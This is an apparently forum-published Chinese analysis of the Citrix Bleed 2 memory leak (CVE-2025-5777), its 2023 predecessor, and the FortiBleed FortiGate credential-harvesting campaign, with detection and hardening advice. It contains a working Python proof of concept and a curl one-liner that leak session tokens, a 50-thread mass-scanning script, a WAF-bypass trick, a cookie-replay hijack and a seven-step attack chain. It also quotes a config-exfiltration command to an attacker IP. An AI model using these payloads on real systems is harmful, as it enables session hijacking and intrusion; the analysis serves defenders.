边界设备在出血：Citrix Bleed 两次死亡轮回与 FortiBleed 的 43 万台僵尸墙
漏洞分析
Citrix VPN 设备里有个低级 bug：程序员用错了一个函数的返回值，攻击者发个超长网址就能从内存里吐出别人的登录凭证。这个 bug 2023 年出过一次，2025 年换了个入口又出一次。同期，43 万台 FortiGate 防火墙被装抓包工具，批量收割了 1.1 亿条 VPN 密码，同一个人左手给 INC Ransom 团伙供货、右手给 Lynx 团伙供货——偷来的防火墙入口，变成了勒索软件的"一键下单"服务。
前言 -- CISA 给漏洞打补丁的期限一般是多少？常规是两周到一个月。高危的可能给一周。2023 年原始 Citrix Bleed（CVE-2023-4966）给了 21 天。 但 CVE-2025-5777——也就是 Citrix Bleed 2——CISA 只给了 1 天。 读完这个数字的时候我愣了一下。老实说，这玩意在 CISA KEV 历史上几乎是前所未有的紧迫程度。一个漏洞能让 CISA 把补丁窗口从"三周内修好"直接压缩到"明天之前必须修好"，只能说明一件事：它的野外利用已经到了失控边缘。 后来 Arctic Wolf 7 月份刚发的报告也印证了这一点——Anubis 勒索软件的附属机构已经把 Citrix Bleed 2 当成了标准初始访问手段，配合 FortiBleed 偷来的上亿条 VPN 凭证，形成了一条从"边界设备出血"到"勒索软件灌装"的完整流水线。 这篇文章我想把这两个漏洞拆到代码层。不只是讲"这是个越界读取"，而是搞清楚怎么触发、内存怎么泄露、攻击者怎么用、以及为什么 Citrix Bleed 修了一次又爆了一次。 - - - - - - 一、snprintf 的背叛：CVE-2025-5777 原理拆解 --------------------------------- ### 触发端点 漏洞端点在： ```js /nf/auth/startwebview.do ``` 这是 NetScaler Gateway 处理 Web 视图认证的一个接口。不需要登录，不需要凭证，发一个 HTTP 请求就够了。 ### 根因：snprintf 返回值的天大误解 watchTowr Labs 在技术分析中指出了根因。翻译成能理解的说法： NetScaler 在处理 `/nf/auth/startwebview.do` 的请求时，需要用 `snprintf` 把 HTTP Host 头拼接到响应内容里。代码的逻辑大概是这样的（这是根据漏洞行为还原的伪代码，不是 Citrix 源码）： ```js char buf\[0x1800\]; // 6,144 字节的栈缓冲区 // 将包含 Host 头的 HTTP 响应模板写入 buf int length \= snprintf(buf, sizeof(buf), "HTTP/1.1 200 OK\\r\\n" "...响应模板...%s...", host\_header\_value // <-- 攻击者可控的 Host 头 ); // 直接把 snprintf 的返回值当作发送长度 ns\_vpn\_send\_response(client, buf, length); ``` 问题出在最后一行。 `snprintf` 的返回值不是"实际写入的字节数"，而是"如果缓冲区足够大，本应写入的字节数"。这是 C 标准库里最容易搞错的设计之一——`snprintf` 在缓冲区不够的时候不会返回截断后的长度，而是返回原本需要的完整长度。 当攻击者发送一个 24,576 字节（0x6000）的 Host 头时： - `snprintf` 往 `buf` 里写了最多 6,143 字节（留一个 `\0`） - 但返回值是 24,576 ——因为"如果 buf 够大，就应该写这么多" - `ns_vpn_send_response` 拿 24,576 当发送长度 结果就是：`buf` 之后 18,432 字节的栈内存内容被原封不动地发回了 HTTP 响应。 那些栈内存里有什么？NetScaler 的请求处理栈上飘着各种临时数据——包括刚刚处理过的其他用户的认证请求。也就是说：别人的 `NSC_USER`、`NSC_TASS`、`NSC_AAAC` 会话令牌，就躺在攻击者请求的响应体里，夹杂在二进制噪声中。 **说白了：开发者以为 snprintf 返回的是"实际写了多少"，但实际上它返回的是"本来想写多少"。这一个认知偏差，导致攻击者一个 Host 头就能读完周围近 18KB 的内核内存。** 这里还有一个容易被忽略的点：为什么泄露的内存里恰好有别人的会话令牌？NetScaler 是一个高并发的网络设备，每秒钟处理成百上千个 VPN 认证请求。每个请求在处理过程中都会把用户名、密码、会话令牌这些敏感数据放到栈上和堆上的临时变量里。正常情况下，这些临时变量在请求处理完成后被释放，但内存内容并没有被清零——只是标记为"可用"。攻击者的请求恰好分配到了这片刚被释放的内存区域，于是上一个请求的令牌数据就这么被自己的 HTTP 响应带走了。 这种"残留数据泄露"在 C 语言写的网络服务中是一个经典的、但极难根治的问题。跟 Heartbleed 本质上是同一类：你告诉对方"发 N 字节给我"，但你没有验证这 N 字节里有多少是你自己的数据。 ### PoC 拆解 GitHub 上至少四个公开的 PoC 仓库。核心逻辑极短，我把它拆开逐段看： ```js import sys import urllib.request import ssl target \= sys.argv\[1\].rstrip("/") + "/nf/auth/startwebview.do" \# 第一步：构造超长 Host 头，触发 snprintf 溢出 \# 0x6000 bytes 远超 buf 的 0x1800 req \= urllib.request.Request(target) req.add\_header("Host", "A" \* 0x6000) \# 第二步：发送请求，忽略 SSL 证书错误 ctx \= ssl.create\_default\_context() ctx.check\_hostname \= False ctx.verify\_mode \= ssl.CERT\_NONE resp \= urllib.request.urlopen(req, context\=ctx) data \= resp.read() \# 第三步：在泄露的内存中搜索会话令牌 \# NSC\_ 前缀后跟大写字母，值至少 10 个非分号字符 import re tokens \= re.findall(br"NSC\_\[A-Z\]+=\[^;\]{10,}", data) for t in tokens: print(t.decode()) \# 第四步：保存完整泄露数据供离线分析 with open("leak.bin", "wb") as f: f.write(data) ``` 等价 curl 一句话： ```js curl \-ks \-H "Host: $(python3 -c 'print("A"\*24576)')" \\ https://192.168.1.100/nf/auth/startwebview.do \\ \-o leak.bin ``` ### 响应内容什么样 `leak.bin` 里不是干净的数据。 前面是一段残缺的 HTTP 响应头，紧接着就是原始内存 dump。你能在 hexdump 里看到： ```js 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d |HTTP/1.1 200 OK.| ... 00000200 4e 53 43 5f 55 53 45 52 3d 61 62 63 31 32 33 34 |NSC\_USER=abc1234| 00000210 35 36 37 38 39 30 3b 20 48 54 54 50 2f 31 2e 31 |567890; HTTP/1.1| 00000220 00 ff 3a 7d 8c 1e 44 20 52 4f 4e 47 00 00 45 4e |..:}..D RONG..EN| ``` 关键特征：ASCII 可读范围（0x20–0x7F）中夹杂着大量非打印字符（< 0x20 或 > 0x7F）。那个 `NSC_USER=abc1234567890;` 就是其他人的活跃会话令牌。随后的 `HTTP/1.1` 片段说明栈上还残留着之前 HTTP 响应的碎片。 提取逻辑也很直接： ```js def extract\_session\_tokens(raw\_bytes): tokens \= \[\] \# 过滤掉非打印字符，保留可读 ASCII 范围 readable \= bytes(\[b for b in raw\_bytes if 0x20 <= b <= 0x7e or b in (0x09, 0x0a, 0x0d)\]) \# 匹配 NSC\_ 前缀的令牌格式 for match in re.finditer(rb'NSC\_\\w+=\[\\w+/=\]{10,}', readable): tokens.append(match.group().decode()) return tokens ``` 这个提取逻辑本身没什么黑魔法。重点在于：NSC\_ 格式的令牌是 Citrix NetScaler 原生的会话标识符，它在整个认证体系中的权限等于"你是谁"。它不像 OAuth 那样有独立的 resource server 校验、不像 Kerberos 那样有时钟同步约束——它就是一个裸的字符串，你拿着它，你就是那个用户。 ### 绕过前端 WAF/代理的 Host 长度限制 有些企业的 NetScaler 前面还挂着 F5 或 Nginx 做反向代理，这些中间件会对 Host 头做长度校验。但有一个很巧的绕过手法：重复子域名。 ```js Host: foo.foo.foo.foo.foo...foo.example.com ``` `foo.` 重复 3000 次，总长度轻松超过 0x6000 字节。从 HTTP 协议标准来看，这完全合法——`foo.foo.foo...` 是 example.com 的一个合法子域名。但因为全是可打印的 ASCII 字符，WAF 不会触发任何恶意特征告警。 **翻译一下：把攻击载荷藏在标准协议的合法边界内。这不是协议的设计缺陷，而是协议的"信任模型"被反向利用了。** 另外值得一提的是，NSC\_TASS 和 NSC\_USER 两种令牌的权限是不同的。NSC\_USER 是用户级别的 VPN 登录凭证，拿它登录只能访问分配给该用户的应用和桌面。但 NSC\_TASS 是 AAA-TM（Authentication, Authorization, and Auditing Traffic Management）级别的令牌，权限更高，在有些配置下甚至能访问 NetScaler 的管理平面。这意味着如果你在泄露的内存里捡到一个 NSC\_TASS 而不是普通 NSC\_USER——攻击效果直线升级。 还有一个实际的检测手段值得一提。如果你怀疑自己的 NetScaler 曾经被 Bleed 2 打过，去看 `/var/log/ns.log`。正常的 HTTP 请求日志里全是可打印的 ASCII 文本。但如果日志里出现了 `\x00` 到 `\x1f` 或者 `\x7f` 到 `\xff` 范围内的字节，那就是内存泄露的铁证——正常的 HTTP 请求不会产生这些非打印字符。 ```js grep \-Pn '\[\\x00-\\x1f\\x7f-\\xff\]' /var/log/ns.log ``` 如果这行命令有输出，你的 NetScaler 大概率已经被 Bleed 2 打过。  - - - - - - 二、三年两刀：Citrix Bleed 1 vs Bleed 2 -------------------------------- ### CVE-2023-4966 回顾 原始 Citrix Bleed 的机制和 Bleed 2 几乎是一个模子刻出来的。 区别只在于触发路径——Bleed 1 不走 Host 头，走的是 POST body。向 `/p/u/doAuthentication.do` 发一个 POST 请求，Content-Length 在 1-999 字节之间，body 里放一个裸的 `login` 字符串不带 `=` 号： ```js POST /p/u/doAuthentication.do HTTP/1.1 Host: <target> Content-Length: 5 login ``` Snort 规则里对应的检测 PCRE 是： ```js /\\blogin(?!\\s\*=)/i ``` 意思是匹配 `login` 但后面不能跟 `=`。正常的登录请求 body 会是 `login=username&password=xxx`，所以这个裸 `login` 是一个明显的异常触发点。 但结果是一样的：NetScaler 在处理这种畸形认证请求时，缓冲区溢出导致内存内容泄露到 HTTP 响应里。泄露的同样是 NSC\_USER 和 NSC\_TASS 令牌。 Clop 勒索软件团伙是 Bleed 1 最臭名昭著的利用者——他们在 2023 年 8 月到 10 月间用这个洞搞了一波大规模数据勒索，影响范围不亚于同年的 MOVEit 事件。当时的攻击流程跟今天几乎一模一样：扫描所有公网 NetScaler → 发畸形请求 → 捡令牌 → 登录 VPN → 横向移动 → 数据外泄 → 加密。唯一的区别是那时的勒索软件团队还需要自己写扫描器和利用工具。到了 2025 年，GitHub 上直接有开箱即用的 PoC，RaaS 平台把利用和加密打包成套餐——技术门槛无限趋近于零。 ### 横向对比 两个漏洞放一起看，更能看出问题的本质。 | 维度 | CVE-2023-4966 | CVE-2025-5777 | |---|---|---| | **CVSS 4.0** | 无评分 | 9.3 CRITICAL | | **CVSS 3.1 (CNA)** | 9.4 CRITICAL | 无评分 | | **类型** | 缓冲区溢出 (CWE-119) | 越界读取 + 未初始化使用 (CWE-125/CWE-908) | | **端点** | `/p/u/doAuthentication.do` | `/nf/auth/startwebview.do` | | **触发** | 裸 `login` POST body | 超长 Host 头 | | **CISA 期限** | 21 天 | 1 天 | | **利用团伙** | Clop | Anubis 及多个未公开团伙 | | **补丁→PoC** | ~2 个月 | ~3 周 | | **根源** | 输入校验不足 → 越界读取 | snprintf 返回值误用作发送长度 | 时间线上看攻击者的反应速度： ```js Citrix Bleed 1 (2023): 补丁: 2023.10.10 → PoC公开: 2023.10.17 → CISA KEV: 2023.10.18 → 大规模利用: 持续数月 Citrix Bleed 2 (2025): 补丁: 2025.06.17 → PoC公开: 2025.07 月初 → CISA KEV: 2025.07.10（限期1天） → 持续利用至今(2026.07) ``` 每一次都比上一次更紧。攻击者的武器化速度在加速，漏洞分析团队的反应也在加速，但从"补丁→部署"这个最关键的窗口，一年多了依然没缩短多少。 ### 为什么同样的问题能重复出现 这个问题的答案，讲真，比漏洞本身更值得琢磨。 `snprintf` 返回值被误用的模式不是 CVE-2025-5777 独有的。整个 C 生态里，`snprintf` 的这种"反直觉返回值"已经造成过无数次 bug。C11 标准里明确写了： ```js > The snprintf function returns the number of characters that would have been written had n been sufficiently large, not counting the terminating null character. ``` 翻译一下：**`snprintf` 返回的不是实际写入数，而是需要写入数。**如果你把它当实际写入数来用——比如当 `send()` 的长度参数——你就制造了一个越界读取。 Citrix Bleed 1 是输入校验不足，Bleed 2 是 `snprintf` 返回值误用，两个漏洞的触发端点不同、代码路径不同，但结果是完全一致的：**认证前的内存泄露 → 会话令牌在 HTTP 响应里裸奔 → 身份认证形同虚设**。 这意味着 Citrix 在 2023 年修 Bleed 1 的时候，可能只是修了那个具体端点，没有在代码库里做一次系统性的"输入校验 → 输出长度控制"的模式审查。新的端点用了新的不安全的模式，于是 Bleed 2 就来了。 在一个几十万行的 C 代码库里，这种盲区太容易出现了。尤其当原始开发团队和安全团队不是同一拨人的时候——写 `startwebview.do` 的人可能压根不知道 `/p/u/doAuthentication.do` 在 2023 年出过事。或者知道，但没意识到自己写的 snprintf 调用也存在同样的语义陷阱。团队之间的知识传递断层是这类重复漏洞的核心诱因。 **说白了：第一次是运气不好，第二次就是安全工程流程出问题了。如果你修完一个越界读取之后不把整个代码库里类似的 snprintf/sprintf/strcpy 模式全扫一遍，那下一个"Bleed 3"只是时间问题。**  - - - - - - 三、FortiBleed：另一面墙在流血 -------------------- 如果 Citrix Bleed 2 是狙击枪——一枪一个、精准突破——那 FortiBleed 就是霰弹枪，一喷一大片。 ### 规模 安全研究员 Volodymyr Diachenko 上个月发现了暴露在公网的 FortiGate 防火墙配置文件。接下来的调查像剥洋葱一样越剥越惊。FortiBleed 跟 Citrix Bleed 不同——它不是一个软件漏洞，而是一整套"把防火墙当肉鸡养"的操作体系。攻击者通过各种手段拿到了 FortiGate 的管理权限（具体利用了哪些漏洞或配置弱点目前还没有完整公开），然后在设备上建立持久化，长期运行嗅探工具。 - 超过 **430,000** 台 FortiGate 防火墙确认被入侵 - 来自 **73,000+** 台设备的完整配置文件被暴露 - 关联分析指向 **1.1 亿+** 条凭证被盗 - SOCRadar 确认 **至少 12 起**勒索软件攻击可直接追溯到 FortiBleed 受害者 - Huntress 仅在自己的客户群中就发现 **845 家**组织出现在受影响名单中 43 万台防火墙不是用户的 PC。这 43 万台设备是企业网络的边界大门——VPN 接入点、分支互联隧道、合作伙伴专线，全部要经过它们。 ### 攻击手法 攻击者在沦陷的防火墙上部署了一个叫 "FortiGate Sniffer" 的自制工具。功能非常单一：抓网络流量，提取认证数据。 这听起来不像什么高级的攻击。但关键是它跑的位置——防火墙本身。防火墙上的流量抓包意味着攻击者能看到所有经过防火墙的未加密认证信息（以及所有加密前的内网流量，如果有 SSL 卸载）。 攻击者在被入侵防火墙上的操作序列大概是： ```js \# 在防火墙 CLI 上部署嗅探器 \# 目标：抓取所有经过防火墙的 VPN 认证流量 diagnose sniffer packet any 'host <target>' 3 \# 提取 VPN 认证中的明文凭据 \# 导出到外部服务器 execute backup config tftp <attacker\_ip> fw\_config.conf ``` 然后这些配置文件被批量收集和分类。SOCRadar 发现了一套完整的分类定价体系：不同行业的凭证、不同权限级别的账户、不同的网络规模——都是明码标价的。 ### 从凭证窃取到勒索软件赋能 SOCRadar 的威胁研究团队发现了一个关键证据链： 一名操作员——同一个人——同时登录了 **INC Ransom** 和 **Lynx** 两个勒索软件家族的谈判面板。追踪他的访问路径，溯源结果指向 FortiBleed 的攻击基础设施。 这说明 FortiBleed 不是一个独立的"偷数据卖钱"的事件。它是一个**初始访问代理（Initial Access Broker）**的超级工厂——43 万台防火墙的 VPN 入口被批量收割、分级定价、打包卖给下游的勒索软件团伙。INC 和 Lynx 只是两个买了"流量"的客户。背后可能还有更多。 **不瞒你说，当你意识到 43 万台防火墙的入口被统一收割并流向同一个地下市场时，"打补丁"和"换密码"已经不够了。这不是被攻破一台机器的问题——是整个企业的 VPN 信任模型需要被重新审视。**  - - - - - - 四、双漏洞协同：从出血到勒索的完整链条 ------------------- 把 Citrix Bleed 2 和 FortiBleed 放在一起，能看到 2026 年勒索软件团伙的一个全新攻击范式。 ### 一个攻击者的视角 假设你是一个购买了 FortiBleed "流量"的勒索软件附属机构。你的"初始访问包"里包括了： - 一批被入侵 FortiGate 防火墙的 IP 地址 - 从这些防火墙上偷来的 VPN 凭证（可能有几千组） - 目标企业的基础网络信息（从配置文件里翻出来的） 你的第一步是试凭证。VPN 密码很多是过期的，但必然有一部分还能用——一个上万人的企业里，IT 部门强制轮换密码的策略覆盖不到所有人。 但你还有第二手准备。如果凭证登录失败了——或者登录成功但你想要更高权限的会话——你掏出 Citrix Bleed 2 的 PoC。 如果目标企业恰好也用 Citrix NetScaler 做 VPN 网关（大企业里这很常见），你不需要猜密码。你发一个超长 Host 头的请求过去，从响应里捡出当前活跃的所有会话令牌，挑一个高权限的 NSC\_TASS 或 NSC\_USER，直接以合法用户身份登录。 ### 七步完整操作链 从 GitHub 上公开的 PoC 仓库里提取出来的红队完整操作流程是这样的： **第一步：资产发现** 用 ZoomEye 或 Shodan 搜索带有 `NSC_` cookie 的目标，过滤出同时运行 Citrix NetScaler 的 IP。FortiBleed 的凭证包里如果有对应的 IP，优先级最高。 ```js shodan search 'http.title:"NetScaler Gateway" http.cookie:"NSC\_"' ``` **第二步：内存泄露** 对每个目标并行发送 PoC 请求。泄露的内存 dump 保存到本地。提取 `NSC_USER` 和 `NSC_TASS` 令牌。 ```js # 并行扫描 from concurrent.futures import ThreadPoolExecutor def leak_target(ip): url = f"https://{ip}/nf/auth/startwebview.do" req = urllib.request.Request(url) req.add_header("Host", "A" * 24576) # ... 发请求，提取令牌 return tokens with ThreadPoolExecutor(max_workers=50) as executor: results = executor.map(leak_target, target_list) ``` **第三步：Cookie 重放** 拿到令牌后，在浏览器里直接修改 Cookie 实现会话劫持： ```js Chrome DevTools → Application → Cookies → 添加 NSC\_USER=<leaked\_token> 添加 NSC\_TASS=<leaked\_token> ``` 刷新页面，你已经以受害者身份登录了 VPN 门户。不需要密码，不需要 MFA。 **第四步：内网资源访问** 通过 VPN 门户访问内网资源： - `/vpn/index.html`：VPN 书签和应用列表 - RDP 文件下载：从 NetScaler 提供的 RDP 快捷方式直接连到内网 Windows 机器 - ICA 文件：Citrix Virtual Apps 的桌面和应用流 **第五步：权限提升** 进内网后，下一步是拿域控： - 凭据喷洒：用 FortiBleed 的 VPN 凭证试域账号 - Kerberoasting：请求域内服务票据，离线爆破 - ADCS ESC1 利用：如果目标部署了证书服务，直接申请域控证书 **第六步：持久化** - 创建计划任务定期回调 - 修改 NetScaler 的 vDisk 将后门固化到系统镜像 - 部署备用 RMM agent（上篇文章详细写过） **第七步：日志清理** 清除 NetScaler 上的审计日志中与泄露相关的异常请求记录。 ### 整个链条的效率 传统勒索软件攻击从初始访问到开始加密，平均需要 5-7 天。而这条"双漏洞链"把时间压缩到了几小时——FortiBleed 省掉了侦察和凭证收集，Citrix Bleed 2 省掉了爆破和社工。 防御方的时间窗口被彻底挤压。 **换句话说：当攻击者可以"买入口"的时候，传统的安全运营模型——靠 SOC 分析员在几天的窗口内发现异常——就已经跟不上了。攻击者不是在"入侵"，是在"登录"。** 不只是速度问题。还有一个更隐蔽的问题：双漏洞链让攻击者绕过了所有基于"失败尝试"的检测模型。传统的暴力破解告警靠的是"大量失败的登录尝试"来触发。但 Citrix Bleed 2 不会产生任何登录失败记录——它不走登录流程，它直接从内存里拿令牌。FortiBleed 的凭证重放也不会产生失败记录——那些凭证是在另一台防火墙上偷来的，被用到目标 VPN 上的时候就是一次"正常的成功登录"。SOC 看到的每条日志都是绿色的，但账户已经被接管了。  ### 不止 Citrix 和 Fortinet：边界设备的集体脆弱性 其实，如果只是 Citrix 和 Fortinet 两个厂商出问题，那还勉强可以归因为"两个产品的代码需要改进"。但事实远比这个残酷。 过去三年里，几乎所有主流边界设备厂商都爆出过类似的信息泄露或认证绕过漏洞： Palo Alto Networks PAN-OS 在 2024 年 4 月爆出 CVE-2024-3400（CVSS 10.0），GlobalProtect VPN 的任意文件创建导致远程命令执行。2024 年 11 月 PAN-OS 管理接口又爆出 CVE-2024-0012 认证绕过。Ivanti Connect Secure 在 2024 年 1 月爆出 CVE-2023-46805 + CVE-2024-21887 组合链，同样是认证绕过直接读内存。F5 BIG-IP 在 2021 年到 2024 年间累计爆出至少 5 个 CVSS 9.0+ 的漏洞。这些不是巧合——边界设备作为一个品类，正在经历系统性的安全危机。 边界设备的安全模型有一个共同的结构性缺陷：它们必须在认证之前处理大量的用户输入，而这个"认证前攻击面"的代码量往往远超想象。一个 VPN 网关需要在用户还没提供密码之前就完成 TLS 握手、解析 HTTP 请求、处理 Cookie、检查 User-Agent、适配不同客户端——每一步都可能引入内存安全问题。这跟在"认证之后才允许交互"的内部系统完全不是一个世界。 **通俗点讲：边界设备的安全模型天然就是"未认证交互 + C 语言代码 + 公网可达 = 等待被利用"。这不是某一个厂商的问题，是整个品类面临的系统性问题。** - - - - - - 五、代码审计能告诉我们的 ------------ 写到这里，我想跳出这两个具体漏洞，聊一个更根本的问题。FortiBleed 的 43 万台防火墙和 Citrix Bleed 2 的 snprintf 陷阱看似是两件不同的事，但背后指向的是同一个病灶：我们太信任网络边界设备了。 Citrix Bleed 1 和 Bleed 2 有一个共同的根：**C 语言字符串操作的安全假设破裂**。 `snprintf` 只是问题家族中的一员。同样的"返回值被误用"模式在 `strlcpy`、`strlcat`、`fgets`、`read` 身上都出现过无数次。更广义地说，任何"调用者负责校验返回值"的 API 设计，在大型 C 代码库里都是潜在的雷区。 NetScaler 的代码库规模有多大？从公开的固件镜像分析来看，内核模块 + 用户态网关进程加起来估计在几十万到上百万行 C 代码。在这个体量下，靠手工 code review 找出每一个 `snprintf` 返回值误用是不现实的。 那静态分析能抓到吗？ 理论上能。`snprintf` 返回值被直接传给 `send`/`write` 类函数这种模式，是有明确的 taint 流特征的——来自不受信输入（Host 头 / POST body）→ 影响 snprintf 返回值 → 被用作输出长度。Coverity、CodeQL、Semgrep 都可以写规则去抓这个 pattern。 但 Citrix 显然没抓到。对于使用这些设备的蓝队来说，一个补救措施是在 NetScaler 前端的反向代理或 WAF 上配置 Host 头的最大长度限制——不需要等到厂商的车轮慢慢转，你自己就能把攻击面关上。256 字节的 Host 长度限制不会影响任何正常业务，但能直接阻断所有 Bleed 2 类型的利用尝试。 说明要么是静态分析没跑这组规则，要么是跑了但误报太多被关了。这在大企业里太常见了——静态分析工具跑一次出三万条告警，没人处理，最后大家默认忽略。安全工具的"告警疲劳"不只发生在 SOC 里，也发生在 SDLC 里。 更根本的问题在于：snprintf 这种"反直觉返回值"的根本修复方案其实不是修代码，而是从语言层面消除歧义。Rust 的 `format!` 宏不会返回"本应写入的长度"，它要么成功写入，要么返回错误。Go 的 `fmt.Sprintf` 返回一个完整分配的字符串，不存在截断问题。Zig 的 `std.fmt.bufPrint` 明确返回截断后的实际长度。只有 C 语言在标准库层面保留了这种"返回应该写入而不是实际写入"的设计——而且这个设计已经造成了三十年的安全漏洞。 所以问题的本质是：我们能不能接受继续用 C 语言写边界设备的认证处理逻辑？如果答案是"不能"，那对厂商而言就是一个几十万行代码库的重构命题。如果答案是"能但需要更好的工程实践"，那至少要求厂商强制执行：每个 snprintf/sprintf/strcpy 调用必须有静态分析的 taint flow 规则覆盖，且这条规则设为零误报容忍（不能用默认的"警告"级别）。 我看到有一些厂商已经开始在这个方向上行动了。微软在 Windows 内核里推行了基于 SAL 注解的静态分析，要求每个可能产生越界的函数调用必须有前置的长度校验注解。Google 在 Android 上搞了「bounds sanitizer」，直接在编译器层面插入运行时边界检查。这些都是工程上可行的手段——只不过需要一个足够严重的漏洞来推动供应商真正去落实。 说到底，Citrix Bleed 2 和 FortiBleed 的共同教训是：外部边界是一个需要持续验证、而不是一次性信任的假设。边界设备应该被当作"零信任架构中的最后一跳"，而不是"信任域的内外分界线"。 **说句不好听的：边界设备的代码质量和它承担的信任量级严重不匹配。这些设备是企业的网络大门——但大门的锁芯，用的是几十万行没人 audit 过的 C 代码，跑在一个没人修复的标准库 API 上。** - - - - - - 六、该怎么做：从止血到免疫 ------------- 写完悲观的部分，聊点实际的。 ### 对 Citrix NetScaler 用户 **立即做的事**： - 确认版本是否到了修复 Bleed 2 的补丁（14.1-43.56+ / 13.1-58.32+ / 12.1-55.328+） - 检查 `ns.log` 文件中是否存在非 ASCII 可打印范围的异常字符（Bleed 2 的入侵痕迹） - 清除所有活跃会话——修补漏洞之后，已泄露的令牌依然有效 ```js \# 检测 ns.log 中是否有 Bleed 2 的泄露痕迹 grep \-P '\[\\x00-\\x1f\\x7f-\\xff\]' /var/log/ns.log | head \-20 \# 强制清除所有会话 kill aaa session \-all ``` **短期加固**： - 在 NetScaler 前面部署反向代理，统一限制 Host 头长度（建议不超过 256 字节） - 启用响应大小异常告警——如果 `/nf/auth/startwebview.do` 的响应突然从几 KB 飙到几十 KB，直接阻断 ### 对 FortiGate 用户 - 立即检查设备管理接口是否暴露在公网上（Shodan/Censys 自查） - 轮换所有 VPN 凭证和管理员密码 - 禁用出厂默认 admin 账户或改用非标准用户名 - 检查管理员登录日志中是否有异常 IP 和异常时间段的访问 - 如果有条件，启用 FortiGate 的硬件安全模块（HSM）保护配置文件 - 定期将防火墙配置导出并做离线比对，检测是否存在未授权的配置变更 FortiGate 的 `diagnose sniffer packet` 命令是攻击者部署嗅探器的入口点。如果日志中有异常的 sniffer 命令执行记录——尤其是在非维护窗口期间——这是一个强烈的入侵信号。 ```js \# FortiGate CLI 中检查最近的 admin 登录 execute log display category event \# 查找 "Action=login" 和异常 IP ``` ### 对所有边界设备用户 这条是通用的。 每台暴露在公网上的网络设备——VPN 网关、防火墙、负载均衡、ADC——都应该被当作最高优先级的攻击面来管理。不是"等厂商发补丁"，也不是"季度维护窗口再修"，而是一套持续的脆弱性管理流程。 一些具体可操作的建议： **补丁优先级重新排序**：VPN 网关和身份认证相关的边界设备应该和域控制器同级的最高补丁优先级。不是"影响业务的最小化窗口"，而是"宁可断业务也不能留漏洞"。CISA 把 Citrix Bleed 2 的修复窗口压缩到一天不是没有原因的——如果你的业务连续性要求不允许一天内打补丁，那你需要考虑的就不是打补丁的问题，而是架构冗余的问题。 **响应大小异常告警**：在生产环境的反向代理或 WAF 层面配置响应大小阈值。`/nf/auth/startwebview.do` 的正常响应不应该超过几 KB。如果突然出现几十 KB 的响应，不管内容是什么，都应该触发自动阻断和人工审查。这比签特征有效得多——因为不管下次 Bleed 3 换什么端点、换什么触发方式，只要它泄露内存，响应就会异常变大。 **令牌生命周期控制**：VPN 会话令牌的存活时间应该短到即使泄露也很难被利用。很多企业的 NetScaler 默认会话超时是 8 小时甚至 24 小时——这意味着一个凌晨 3 点泄露的令牌，攻击者有一整个工作日来使用它。把超时缩短到 2-4 小时，配合强制重认证，能显著缩小攻击窗口。 **日志完整性保护**：攻击链的第七步是清除审计日志，所以把 NetScaler 的日志实时转发到外部不可篡改的 SIEM 或日志平台。即使攻击者在 NetScaler 上执行了日志清理，外部副本仍然保留了入侵证据。 **说白了：如果你的 VPN 网关补丁优先级排在"下个月的运维窗口"，那你下个月可能已经没有需要保护的网络了。** - - - - - - 写在最后 ---- 我写这篇文章的时候反复想起一件事。 2023 年，Clop 用 Citrix Bleed 打出了可能是那年规模最大的数据勒索行动之一。受害者覆盖金融、医疗、政府。那年所有人都在说"Citrix 的漏洞必须在补丁当天打"。 然后 2025 年，同样的设备，同样的漏洞类型，同样的后果。不同的只是端点换了，触发方式从 `login` 变成了 `Host: AAAA...`。CISA 把修复窗口压缩到了 1 天——大概是觉得 21 天上次根本不够。 FortiBleed 另一边则是完全不同的攻击哲学。不要 0-day，不用 snprintf 的诡异返回值——直接把 43 万台防火墙当作僵尸节点来运维，抓包、存凭证、分类定价。每一步操作都在防火墙自己的 CLI 命令集合里，不需要装恶意软件。 这两条路径最终殊途同归：它们都是"信任模型"级别的失败。我们信任 `snprintf` 的返回值行为是合理的，但它背叛了这种信任。我们信任防火墙的管理接口是安全的，但 43 万台的配置被批量当成商品卖。 而且这两条路径还在融合。SOCRadar 的证据表明，FortiBleed 收集的凭证正在被同一个地下市场里的买家用来对接 Citrix Bleed 2 的攻击面。不是"先用 FortiBleed 再用 Citrix Bleed"，而是把两个漏洞的产出放在同一个市场上交叉销售。一个漏洞提供入口清单，另一个提供万能钥匙。买家两样都买了，就能在几小时内从零到勒索。 从软件工程的角度看，Citrix Bleed 2 是 C 语言标准库在 2025 年还在付的技术债。从安全运营的角度看，FortiBleed 是"信任但验证"理念在实践中的一次彻底崩塌。 **不瞒你说，当我看到同一个操作员同时开着 INC Ransom 和 Lynx 的谈判面板、而这两个面板的数据源都可以追溯到同一批被入侵的防火墙时——我突然觉得我们讨论的不再是"漏洞修补"，而是"网络边界作为一种安全概念的可行性"。** 边界设备曾是第一道防线。现在它们正在变成第一攻击面。这个趋势短期内不会逆转——所有暴露在认证之前的代码路径，都是下一个 Bleed 的候选项。
发表于 2026-08-04 17:57:41
阅读 ( 51 )
分类：
漏洞分析
0 推荐
收藏
0 条评论
zee
4 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
